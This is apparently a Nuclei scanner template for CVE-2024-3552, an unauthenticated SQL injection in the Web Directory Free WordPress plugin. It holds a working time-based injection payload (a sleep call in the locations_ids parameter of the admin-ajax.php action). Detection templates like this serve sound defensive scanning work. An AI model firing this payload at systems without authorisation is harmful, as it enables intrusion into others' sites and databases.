漏洞描述
The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.
id: CVE-2024-3552
info:
name: Web Directory Free < 1.7.0 - SQL Injection
author: s4e-io
severity: critical
description: |
The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.
remediation: Fixed in 1.7.0
reference:
- https://vulners.com/wpvulndb/CVE-2024-3552
- https://wpscan.com/vulnerability/34b03ee4-de81-4fec-9f3d-e1bd5b94d136/
classification:
epss-score: 0.93576
epss-percentile: 0.99824
cpe: cpe:2.3:a:salephpscripts:web_directory_free:*:*:*:*:wordpress:*:*:*
metadata:
verified: true
max-request: 1
vendor: salephpscripts
product: web_directory_free
publicwww-query: "/wp-content/plugins/web-directory-free"
tags: time-based-sqli,cve,cve2024,wordpress,wp-plugin,wpscan,wp,web-directory-free,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "/wp-content/plugins/web-directory-free"
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(6),0)+from+(select+1)x)
matchers:
- type: dsl
dsl:
- "duration>=6"
- "status_code == 200"
- regex('^\[\]$', body)
condition: and
# digest: 4a0a00473045022100a6a365e6901aa587b588fdb8fcd3c14a12041512eb722141703fec6cb0eb7d1302203a63ab28c8e2f35eb37aead6b8f86622b7152e6b241682d1ef503286307a915f:922c64590222798bb761d5b6d8e72950